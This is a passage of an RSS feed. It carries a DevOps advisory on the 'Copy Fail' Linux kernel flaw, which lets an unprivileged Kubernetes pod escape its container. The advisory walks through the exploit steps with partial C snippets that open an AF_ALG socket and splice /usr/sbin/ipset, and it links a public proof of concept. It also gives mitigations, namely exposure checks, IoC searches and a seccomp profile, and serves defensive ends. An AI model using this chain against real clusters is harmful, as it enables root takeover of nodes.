        </h3><p>TechCrunch - Red Hat’s OpenClaw maintainer just made enterprise Claw deployments a lot saferRed Hat’s Sally O’Malley released Tank OS, an open-source tool simplifying safe OpenClaw agent deployment. A</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-may-1-2026-red-hat"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CVE-2026-31431 Copy Fail: A 4-Byte Kernel Write That Escapes Containers]]></title>
      <link>https://devops-daily.com/posts/copy-fail-cve-2026-31431-linux-container-escape</link>
      <description><![CDATA[A new Linux kernel bug lets any unprivileged process flip 4 bytes in the page cache and break out of a container. runtime-default seccomp does not block it. Here is what to do.]]></description>
      <pubDate>Sun, 03 May 2026 13:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/copy-fail-cve-2026-31431-linux-container-escape</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[linux]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[containers]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[seccomp]]></category>
      <content:encoded><![CDATA[<p>If you run Linux containers in production, the answer to &quot;are we exposed?&quot; is almost certainly yes. CVE-2026-31431, nicknamed Copy Fail, is a privilege escalation in the Linux kernel&#39;s <code>algif_aead</code> crypto code that gives any unprivileged process a 4-byte write into the page cache of any readable file. From there, it is a clean container-to-host escape on Kubernetes, and the seccomp profile most platform teams trust does not stop it.</p>
<p>Disclosure landed on May 1, 2026. The PoC is on GitHub. The page-cache trick that turns a 4-byte write into root execution depends on a property every Kubernetes node has by default, which means most clusters running unpatched kernels are exposed today.</p>
<p>Here is what is going on and what to do about it.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>CVE</td>
<td>CVE-2026-31431</td>
</tr>
<tr>
<td>Nickname</td>
<td>Copy Fail</td>
</tr>
<tr>
<td>Class</td>
<td>Linux kernel privilege escalation, container escape</td>
</tr>
<tr>
<td>Subsystem</td>
<td>Crypto API, <code>algif_aead</code></td>
</tr>
<tr>
<td>Disclosed</td>
<td>May 1, 2026</td>
</tr>
<tr>
<td>Found by</td>
<td>Xint</td>
</tr>
<tr>
<td>Patch</td>
<td>Mainline commit <code>a664bf3d603d</code></td>
</tr>
<tr>
<td>Affected</td>
<td>Most Linux distros on unpatched kernels: Ubuntu, RHEL 8/9, Debian, Fedora, SUSE, Amazon Linux, Arch, CloudLinux</td>
</tr>
<tr>
<td>What runtime-default seccomp does</td>
<td>Nothing</td>
</tr>
<tr>
<td>What you do</td>
<td>Patch the host kernel, drop a custom seccomp profile blocking AF_ALG, audit privileged DaemonSets</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Xint disclosed CVE-2026-31431 on May 1, 2026 with a working proof of concept. The bug lives in an in-place optimization the Linux kernel added to its AEAD crypto path back in 2017, where the kernel reuses the source buffer as the destination during cryptographic operations to avoid an allocation.</p>
<p>The optimization is unsafe when it is driven by the userspace crypto API (AF_ALG sockets) and combined with the <code>splice()</code> syscall. By racing those two, an unprivileged process can persuade the kernel to perform a deterministic 4-byte write into the page cache of any file the process can read.</p>
<p>Four bytes does not sound like much. The trick is that the page cache is shared. Every container on a node that uses the same base image layer is reading from the same physical pages. So is the host. So is <code>kube-proxy</code>. So are the privileged DaemonSets on every other node that pulled the same image.</p>
<p>The published Kubernetes PoC (<a href="https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC">Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC</a>) targets <code>/usr/sbin/ipset</code>, which <code>kube-proxy</code> invokes as root. An unprivileged pod corrupts the page-cache copy of <code>ipset</code>, then waits for <code>kube-proxy</code> to run it. When the DaemonSet executes the binary, it pulls the corrupted bytes from the cache and the attacker gets root execution on the node.</p>
<h2 id="h2-how-the-exploit-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-exploit-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Exploit Works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-exploit-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The exploit chains three things: the AF_ALG userspace crypto API, the <code>splice()</code> syscall, and the kernel&#39;s page cache. Here is the sequence.</p>
<h3 id="h3-step-1-open-an-af_alg-socket" class="group relative scroll-mt-24">
        <a href="#h3-step-1-open-an-af_alg-socket" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Open an AF_ALG socket
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-1-open-an-af_alg-socket"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The userspace crypto API lets any process ask the kernel to do crypto. You do not need root, and you do not need any capability. A plain <code>socket()</code> call is enough:</p>
<pre><code class="hljs language-c"><span class="hljs-type">int</span> s = socket(AF_ALG, SOCK_SEQPACKET, <span class="hljs-number">0</span>);
<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sockaddr_alg</span> <span class="hljs-title">sa</span> =</span> {
    .salg_family = AF_ALG,
    .salg_type   = <span class="hljs-string">&quot;aead&quot;</span>,
    .salg_name   = <span class="hljs-string">&quot;authencesn(hmac(sha256),cbc(aes))&quot;</span>,
};
bind(s, (<span class="hljs-keyword">struct</span> sockaddr *)&amp;sa, <span class="hljs-keyword">sizeof</span>(sa));
</code></pre><p>That is the surface area. The <code>algif_aead</code> template is what enables the in-place optimization. No syscalls beyond <code>socket</code>, <code>bind</code>, <code>setsockopt</code>, and <code>splice</code> are required.</p>
<h3 id="h3-step-2-splice-a-target-page-in" class="group relative scroll-mt-24">
        <a href="#h3-step-2-splice-a-target-page-in" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Splice a target page in
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-2-splice-a-target-page-in"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><code>splice()</code> lets you move bytes between a file descriptor and a pipe without copying through userspace. The exploit uses it to point the kernel&#39;s AEAD operation at a page from the target file (a setuid binary, or a binary like <code>ipset</code> that a privileged process will execute):</p>
<pre><code class="hljs language-c"><span class="hljs-type">int</span> pipefd[<span class="hljs-number">2</span>];
pipe(pipefd);
<span class="hljs-type">int</span> target = open(<span class="hljs-string">&quot;/usr/sbin/ipset&quot;</span>, O_RDONLY);
splice(target, <span class="hljs-literal">NULL</span>, pipefd[<span class="hljs-number">1</span>], <span class="hljs-literal">NULL</span>, <span class="hljs-number">4096</span>, <span class="hljs-number">0</span>);
splice(pipefd[<span class="hljs-number">0</span>], <span class="hljs-literal">NULL</span>, alg_fd, <span class="hljs-literal">NULL</span>, <span class="hljs-number">4096</span>, <span class="hljs-number">0</span>);
</code></pre><p>The page cache now holds the file content. Because the kernel reuses the source as the destination during the AEAD transform, the encrypted output gets written back over the same page the file was read from.</p>
<h3 id="h3-step-3-race-the-bound-check-and-write-4-bytes" class="group relative scroll-mt-24">
        <a href="#h3-step-3-race-the-bound-check-and-write-4-bytes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Race the bound check and write 4 bytes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-3-race-the-bound-check-and-write-4-bytes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit forces the AEAD operation into a path where the scatter-gather list bounds check happens before, but the actual copy happens after, an attacker-controlled length change. That race produces a 4-byte write at a controlled offset into the page that is now serving as the kernel&#39;s view of <code>/usr/sbin/ipset</code>.</p>
<p>Four bytes is enough to plant a near-immediate jump or to redirect a function-pointer inside an ELF binary. The exploit picks an offset that turns the binary into a small loader for the attacker payload.</p>
<h3 id="h3-step-4-wait-for-the-privileged-process" class="group relative scroll-mt-24">
        <a href="#h3-step-4-wait-for-the-privileged-process" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Wait for the privileged process
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-4-wait-for-the-privileged-process"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Now the attacker waits. As soon as a privileged process on the host or in another container reads the file, it reads the corrupted bytes. On a Kubernetes node, <code>kube-proxy</code> runs <code>/usr/sbin/ipset</code> regularly to manage iptables rules, so the wait is measured in seconds.</p>
<p>When <code>kube-proxy</code> runs the corrupted binary, the attacker pivots from an unprivileged pod to root execution on the node.</p>
<h2 id="h2-why-runtime-default-seccomp-does-not-save-you" class="group relative scroll-mt-24">
        <a href="#h2-why-runtime-default-seccomp-does-not-save-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why runtime-default seccomp does not save you
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-runtime-default-seccomp-does-not-save-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Most platform teams assume <code>seccomp=runtime-default</code> keeps userspace-crypto-API tricks like this out of containers. It does not.</p>
<p>The <a href="https://juliet.sh/blog/we-tested-copy-fail-in-kubernetes-pss-restricted-runtime-default-af-alg">juliet.sh test write-up</a> confirmed this on both Talos v1.12.2 (containerd 2.1.6) and Amazon EKS (containerd 2.2.1). A non-root pod with all capabilities dropped and <code>seccompProfile.type: RuntimeDefault</code> opened an AF_ALG socket on every distro tested. Pod Security Standards <code>restricted</code> did not block it either.</p>
<p>The reason is that the default profiles deny <code>socket(AF_VSOCK, ...)</code> but not <code>socket(AF_ALG, ...)</code>. AF_ALG is considered a normal userspace API. Until the kernel patches roll out, &quot;default seccomp&quot; effectively means &quot;no protection against this CVE.&quot;</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you run any modern Linux distro and have not picked up the kernel update from May 1, 2026 or later, assume yes.</p>
<h3 id="h3-check-your-kernel-version" class="group relative scroll-mt-24">
        <a href="#h3-check-your-kernel-version" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check your kernel version
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-kernel-version"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Host kernel</span>
<span class="hljs-built_in">uname</span> -r

<span class="hljs-comment"># Patch landed in mainline. The fix is the cherry-pick of commit a664bf3d603d.</span>
<span class="hljs-comment"># Distro CVE trackers will tell you the first patched package version.</span>
<span class="hljs-comment"># Ubuntu:        ubuntu.com/security/CVE-2026-31431</span>
<span class="hljs-comment"># RHEL:          access.redhat.com/security/cve/CVE-2026-31431</span>
<span class="hljs-comment"># Debian:        security-tracker.debian.org/tracker/CVE-2026-31431</span>
<span class="hljs-comment"># Amazon Linux:  alas.aws.amazon.com (search for CVE-2026-31431)</span>
<span class="hljs-comment"># SUSE:          suse.com/security/cve/CVE-2026-31431</span>
</code></pre><h3 id="h3-check-whether-af_alg-is-reachable-from-your-pods" class="group relative scroll-mt-24">
        <a href="#h3-check-whether-af_alg-is-reachable-from-your-pods" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check whether AF_ALG is reachable from your pods
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-whether-af_alg-is-reachable-from-your-pods"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Drop this into a debug pod in a non-production cluster to confirm exposure:</p>
<pre><code class="hljs language-bash">kubectl run alg-check --<span class="hljs-built_in">rm</span> -it --restart=Never \
  --image=alpine:3.20 -- sh -c <span class="hljs-string">&#x27;
apk add --no-cache python3
python3 -c &quot;
import socket
try:
    s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    s.bind((\&quot;aead\&quot;, \&quot;authencesn(hmac(sha256),cbc(aes))\&quot;))
    print(\&quot;VULNERABLE: AF_ALG bind succeeded\&quot;)
except OSError as e:
    print(f\&quot;BLOCKED: {e}\&quot;)
&quot;
&#x27;</span>
</code></pre><p>If you see <code>VULNERABLE: AF_ALG bind succeeded</code>, your pods can reach the kernel surface that Copy Fail needs.</p>
<h3 id="h3-check-for-known-iocs" class="group relative scroll-mt-24">
        <a href="#h3-check-for-known-iocs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check for known IoCs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-for-known-iocs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The published PoC writes a marker file under <code>/tmp</code> on the host after pivot. Search your nodes:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># On each node</span>
<span class="hljs-built_in">sudo</span> find / -name <span class="hljs-string">&quot;copyfail-*&quot;</span> -mtime -7 2&gt;/dev/null

<span class="hljs-comment"># Audit recent ipset binary modifications</span>
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">stat</span> /usr/sbin/ipset
</code></pre><p>If you see binaries with modification times that do not match your distro package install date, treat the node as compromised.</p>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-patch-the-host-kernel" class="group relative scroll-mt-24">
        <a href="#h3-1-patch-the-host-kernel" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Patch the host kernel
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-patch-the-host-kernel"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the only real fix. The mainline commit is <code>a664bf3d603d</code>. As of May 3, 2026 distros are at varying states of patch availability:</p>
<table>
<thead>
<tr>
<th>Distro</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>Ubuntu</td>
<td>Most kernels not yet patched, monitor USN</td>
</tr>
<tr>
<td>Debian sid/unstable</td>
<td>Patched</td>
</tr>
<tr>
<td>Debian stable/bookworm</td>
<td>Not patched</td>
</tr>
<tr>
<td>RHEL 8/9</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>Fedora</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>SUSE/SLES</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>Amazon Linux</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>CloudLinux</td>
<td>Not patched</td>
</tr>
<tr>
<td>Arch Linux</td>
<td>Likely patched on <code>linux</code> package update</td>
</tr>
</tbody></table>
<p>Apply the kernel update and reboot the nodes through your normal node-maintenance flow. If you are running a managed Kubernetes service, the cloud vendor will roll out node images in their usual cadence. AWS, GCP, and Azure all have advisories tied to this CVE; check their status pages for your cluster&#39;s node image SKU.</p>
<h3 id="h3-2-block-af_alg-with-a-custom-seccomp-profile" class="group relative scroll-mt-24">
        <a href="#h3-2-block-af_alg-with-a-custom-seccomp-profile" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Block AF_ALG with a custom seccomp profile
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-block-af_alg-with-a-custom-seccomp-profile"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A custom <code>Localhost</code> seccomp profile that denies <code>socket(AF_ALG, ...)</code> blocks the syscall path the exploit needs. This is your &quot;in the meantime&quot; mitigation while you wait for the kernel patch to roll across all your nodes.</p>
<p>Save this as <code>/var/lib/kubelet/seccomp/no-af-alg.json</code> on every node:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;defaultAction&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCMP_ACT_ALLOW&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;architectures&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;SCMP_ARCH_X86_64&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;SCMP_ARCH_X86&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;SCMP_ARCH_X32&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;syscalls&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;names&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;socket&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;socketpair&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCMP_ACT_ERRNO&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;errnoRet&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;args&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;index&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">38</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;op&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SCMP_CMP_EQ&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span>
</code></pre><p><code>38</code> is <code>AF_ALG</code>. The <code>SCMP_ACT_ERRNO</code> action returns <code>EPERM</code> to the caller, which is what you want: the exploit&#39;s <code>bind()</code> will fail before it can begin the splice race.</p>
<p>Apply it to your workloads with a pod spec like this:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">securityContext:</span>
    <span class="hljs-attr">seccompProfile:</span>
      <span class="hljs-attr">type:</span> <span class="hljs-string">Localhost</span>
      <span class="hljs-attr">localhostProfile:</span> <span class="hljs-literal">no</span><span class="hljs-string">-af-alg.json</span>
  <span class="hljs-attr">containers:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">your-image:tag</span>
</code></pre><p>For org-wide rollout, plug it into your admission controller (Kyverno, OPA Gatekeeper, or Pod Security Standards via <code>seccompProfile.type=Localhost</code>) so pods cannot be scheduled without it.</p>
<h3 id="h3-3-audit-your-privileged-daemonsets" class="group relative scroll-mt-24">
        <a href="#h3-3-audit-your-privileged-daemonsets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Audit your privileged DaemonSets
        </a>
        <button 
